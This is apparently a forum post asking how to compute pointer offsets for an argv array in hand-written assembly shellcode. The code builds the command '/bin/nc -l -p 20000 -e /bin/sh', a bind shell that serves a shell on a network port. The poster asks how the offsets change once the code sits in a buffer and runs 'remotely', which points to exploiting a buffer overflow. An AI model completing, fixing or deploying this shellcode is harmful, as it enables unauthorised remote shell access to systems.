So then it's:
Code:
"myarr: .long myarr-?,myarr-?,myarr-?,myarr-?,0\n\t"
How do I know what to put in for the question marks? My guess would be that since my code looks like this:
Code:
"myarr: .long arg1,arg2,arg3,arg4,0\n\t"
"call2:\n\t"
"call start2\n\t"
"arg1: .string \"/bin/nc\"\n\t"
"arg2: .string \"-l\"\n\t"
"arg3: .string \"-p 20000\"\n\t"
"arg4: .string \"-e /bin/sh\""
I think the first ? is 5 bytes because I think call is a 5 byte instruction. And then I think the second one is /+b+i+n+/+n+c = 7 + 5 = 12 bytes and so on. Is that correct?
Now, when I'm running the code locally, the arguments will be at lower memory values than myarr, so I would want to subtract. But when I put the code in a buffer wouldn't the arguments be higher in memory than myarr. So I think I'd have to do subtraction to get them to work here and addition to get them to work remotely. Is that correct?